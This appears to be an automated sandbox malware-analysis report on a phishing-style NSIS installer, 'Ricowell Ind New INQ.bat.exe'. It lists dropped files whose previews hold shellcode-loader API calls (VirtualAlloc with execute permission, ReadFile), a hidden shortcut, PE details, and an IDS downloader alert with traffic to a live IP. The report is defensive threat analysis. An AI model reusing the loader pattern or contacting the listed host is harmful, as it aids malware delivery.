MD5:	6F5257C0B8C0EF4D440F4F4FCE85FB1B
SHA1:	B6AC111DFB0D1FC75AD09C56BDE7830232395785
SHA-256:	B7CCB923387CC346731471B20FC3DF1EAD13EC8C2E3147353C71BB0BD59BC8B1
SHA-512:	A3CC27F1EFB52FB8ECDA54A7C36ADA39CEFEABB7B16F2112303EA463B0E1A4D745198D413EEBB3551E012C84A20DCDF4359E511E51BC3F1A60B13F1E3BAD1AA8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup_x86.exe, Detection: malicious, Browse Filename: ORDER.exe, Detection: malicious, Browse Filename: ORDER.exe, Detection: malicious, Browse Filename: ulACwpUCSU.exe, Detection: malicious, Browse Filename: fJuwM4Bwi7.exe, Detection: malicious, Browse Filename: ulACwpUCSU.exe, Detection: malicious, Browse Filename: fJuwM4Bwi7.exe, Detection: malicious, Browse Filename: Factura 02297-23042024.exe, Detection: malicious, Browse Filename: anebilledes.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L....\.U...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text..._........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..b....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nscF92F.tmp

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.51038309657817
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjXcxc/MFWxQoXUn:za/MFWxvUn
MD5:	D562E602E53D53099D119AE5C05621A6
SHA1:	97BFC9284FA3CAE81B114BFBC596D3524B5DEAEC
SHA-256:	547B6581CFC7080DCFDE7D659975DBD3C8453340FEAD6D9D730C3EF1A321BE7E
SHA-512:	BF6561985EA724A425CAA7C57F87ED280A02D465BE3F5C722B2EBD089692A7F60C6C4F95F1FC414DB1C77351A78E2DD6639681C9BDB58CA64930FDFF491AED18
Malicious:	false
Preview:	kernel32::VirtualAlloc(i 0,i 98922496, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Local\Temp\nseF1F8.tmp

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nsfD2.tmp

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsoFD66.tmp

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.286618146008852
Encrypted:	false
SSDEEP:	3:sAAEVvjsxc18L84n:fLV1y
MD5:	CC1EFDC8BFFFF229914A7F388FA2E097
SHA1:	DB9C5B435EA436A44B459143BD6F2305E87EED22
SHA-256:	DC5091A590EA356B8D08D9A053D42B51B91ECC876F29F2CDC589F77F1097C231
SHA-512:	B63125D3C32176FA593FF17913C63CBED1FB7900AE60C4998DDD7F736D4F6AE40FF828AF145579F11C974546E6EA78429694E268EEFF964EC442CE9320F98269
Malicious:	false
Preview:	kernel32::ReadFile(i r5, i r1, i 98922496,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsqF67E.tmp

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsyE489.tmp

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	1271146
Entropy (8bit):	4.303850602005356
Encrypted:	false
SSDEEP:	12288:fUPu0XwaiQjRS4VmoXukj9VXSRLKU8qVOj+Bhu0:8PtCQ9VmgucrSRO7qVLt
MD5:	C039BB93CFE6FBCE8775D71B4A97121F
SHA1:	B6C450E314C239A093B32CE76965F3218052CA93
SHA-256:	D810072EAB5D14118C42BB910B9D41E8BA4A4375A8147251F48F805B41099E35
SHA-512:	602081EC013E79F9C019FE03316D320345A21291B9DC768EEDDFA5A5D29B6FDDD9C1D30CE7E48EA19DA46E38CE5BEDE725858BB1DCF6AADCA48BDA753DA813A9
Malicious:	false
Preview:	........,...................x...............................................................................................................................................................................................................................................................J...b...........#...j...............................................................................................................................k.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Videos\Besiddetrang.lnk

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	756
Entropy (8bit):	3.5596223659719635
Encrypted:	false
SSDEEP:	12:8wl080a/ledp8tzIAGbdpYQI1KEQ1EyPWEMMgQ/CNUvH4t2YCBTo:8wudOaAidU1KpPWNMXOUFJT
MD5:	78D94984B5F1FE723E0D001C8383F011
SHA1:	83660E64FC2B36ADE01ED79B2B9D4E43591702E5
SHA-256:	9BCFE44D2C52BC0CC3C7D3DF6843B421D31ADA6B65C60881A380B83E4921535D
SHA-512:	4AEBF38207772449DE60CF4795DE86E4A48C07EE070981572241795DB6B0ACD08FC40C3B4C823A19375DCC7C85DDE738326ED4ED90C0CEABF1A00D59ACB79D9A
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................z.1...........Program Files (x86).X............................................P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...".h.2...........rytmiskes.cry.L............................................r.y.t.m.i.s.k.e.s...c.r.y............\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.r.y.t.m.i.s.k.e.s...c.r.y.:.C.:.\.U.s.e.r.s.\.D.y.l.a.n.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.R.h.a.b.d.o.p.h.o.r.a.\.f.r.y.s.e.r.e.\.t.u.r.n.p.i.k.e.........................@Z\|...K.J.....................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.6.5.6.7.-.2.9.6.9.5.8.8.3.8.2.-.3.7.7.8.2.2.2.4.1.4.-.1.0.0.3.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.669590475089014
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ricowell Ind New INQ.bat.exe
File size:	626'090 bytes
MD5:	4dd85e61424127b013bd9b3106b63fff
SHA1:	cb0a510edadbf4b6a495c8091f81a926adf6e1f0
SHA256:	6c9fcfe5c1673bf732478c3ca43d2d4f35837e116b002eff5bb92b1a4aafdaf3
SHA512:	1e2f1d231a77efeff7fe4504180e18da26ce630f049155d7cb8975abbcd0982c6a52f0f8190ee3a97c68b4ce801c1f0579192ee676c10df4663c08a1a6952922
SSDEEP:	6144:qcQ9zFQ+29Sn4Zr7n8lJ/vMLJnJmH1YMqJqcn9me0TtJMiWIBLuExc3QRaF0ZENN:uQ7c4WlPWprP0TGsyXcJFAYwvYF23
TLSH:	E2D40254FBA0CD07CE08167899A2F77CA234AF989D1786276FFC3EAB3D25B195C84141
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L....\.U.................^...........2.......p....@

File Icon


Icon Hash:	033b3b2b2f231903

Static PE Info

General

Entrypoint:	0x403217
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x55C15CE3 [Wed Aug 5 00:46:27 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	59a4a44a250c4cf4f2d9de2b3fe5d95f

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409130h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070B4h]
push ebx
call dword ptr [0040728Ch]
push 00000009h
mov dword ptr [004237B8h], eax
call 00007F813860D29Ah
mov dword ptr [00423704h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECB8h
call dword ptr [00407164h]
push 004091E4h
push 00422F00h
call 00007F813860CF44h
call dword ptr [004070B0h]
mov ebp, 00429000h
push eax
push ebp
call 00007F813860CF32h
push ebx
call dword ptr [00407118h]
cmp byte ptr [00429000h], 00000022h
mov dword ptr [00423700h], eax
mov eax, ebp
jne 00007F813860A49Ch
mov byte ptr [esp+14h], 00000022h
mov eax, 00429001h
push dword ptr [esp+14h]
push eax
call 00007F813860C9C2h
push eax
call dword ptr [00407220h]
mov dword ptr [esp+1Ch], eax
jmp 00007F813860A555h
cmp cl, 00000020h
jne 00007F813860A498h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F813860A48Ch

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x37000	0x19a38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c3a	0x5e00	e5e7adda692e6e028f515fe3daa2b69f	False	0.658951130319149	data	6.410406825129756	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x11ce	0x1200	5801d712ecba58aa87d1e7d1aa24f3aa	False	0.4522569444444444	OpenPGP Secret Key	5.236122428806677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a7f8	0x400	cc58d0a55ac015d8f1470ea90f440596	False	0.615234375	data	5.02661163746607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x13000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x37000	0x19a38	0x19c00	e044a410021a8fe3ff8a6b58a67f455f	False	0.32481606492718446	data	4.427147608048424	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x372c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.28862534011593516
RT_ICON	0x47af0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.37706660368445916
RT_ICON	0x4bd18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.4048755186721992
RT_ICON	0x4e2c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.4725609756097561
RT_ICON	0x4f368	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States	0.5151639344262295
RT_ICON	0x4fcf0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.5363475177304965
RT_DIALOG	0x50158	0x100	data	English	United States	0.5234375
RT_DIALOG	0x50258	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x50378	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x503d8	0x5a	data	English	United States	0.7888888888888889
RT_VERSION	0x50438	0x2c0	data	English	United States	0.4772727272727273
RT_MANIFEST	0x506f8	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	GetTickCount, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, SearchPathA, GetShortPathNameA, CreateFileA, GetFileSize, GetModuleFileNameA, ReadFile, GetCurrentProcess, CopyFileA, ExitProcess, SetEnvironmentVariableA, Sleep, CloseHandle, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrlenA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, lstrcpyA, lstrcatA, GetSystemDirectoryA, GetVersion, GetProcAddress, GlobalAlloc, CompareFileTime, SetFileTime, ExpandEnvironmentStringsA, lstrcmpiA, lstrcmpA, WaitForSingleObject, GlobalFree, GetExitCodeProcess, GetModuleHandleA, GetTempPathA, GetWindowsDirectoryA, LoadLibraryExA, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, WriteFile, FindClose, WritePrivateProfileStringA, MultiByteToWideChar, MulDiv, GetPrivateProfileStringA, FreeLibrary
USER32.dll	CreateWindowExA, EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, GetDC, SystemParametersInfoA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, GetDlgItem, wsprintfA, SetForegroundWindow, ShowWindow, IsWindow, LoadImageA, SetWindowLongA, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, PostQuitMessage, FindWindowExA, SendMessageTimeoutA, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumValueA, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-12T21:15:57.006806+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.30	49904	64.188.18.75	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2024 21:15:56.554177046 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:56.777265072 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:56.777623892 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:56.781004906 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.006560087 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.006649971 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.006676912 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.006805897 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.006805897 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.006828070 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.006995916 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.229809999 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.229825974 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.229933023 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.230046988 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.230057955 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.230097055 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.230179071 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.230210066 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.230314970 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.230325937 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.230396032 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.230463028 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.230463028 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.452749014 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.452862978 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.452943087 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.452954054 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453054905 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453099012 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.453099012 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.453176022 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453243971 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.453330040 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453368902 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.453459024 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453583002 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.453644037 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.453668118 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453680038 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453851938 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.453870058 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453882933 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453907967 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453963995 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.453978062 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.454045057 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.454046011 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.454135895 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.454194069 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.454194069 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.454344988 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.675759077 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.675844908 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.675951004 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.675956964 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676063061 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676091909 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676143885 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676156044 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676167011 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676223040 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676248074 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676261902 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676291943 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676342010 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676450014 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676461935 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676497936 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676529884 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676604986 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676649094 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676670074 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676681995 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676719904 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676752090 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676752090 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676770926 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676883936 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676883936 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676925898 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.676969051 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.676990032 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677103043 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.677151918 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677194118 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.677201986 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677299023 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.677314043 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677325964 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677345991 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.677419901 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677505970 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.677531958 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677553892 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.677675009 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.677881956 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677936077 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677947044 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677958012 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.677968979 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.678005934 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.678018093 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.678025961 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.678073883 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.678073883 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.678124905 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.678172112 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899066925 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899153948 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899221897 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899266005 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899286032 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899343014 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899343967 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899398088 CEST	80	49904	64.188.18.75	192.168.11.30
Sep 12, 2024 21:15:57.899425030 CEST	49904	80	192.168.11.30	64.188.18.75
Sep 12, 2024 21:15:57.899471998 CEST	49904	80	192.168.11.30	64.188.18.75
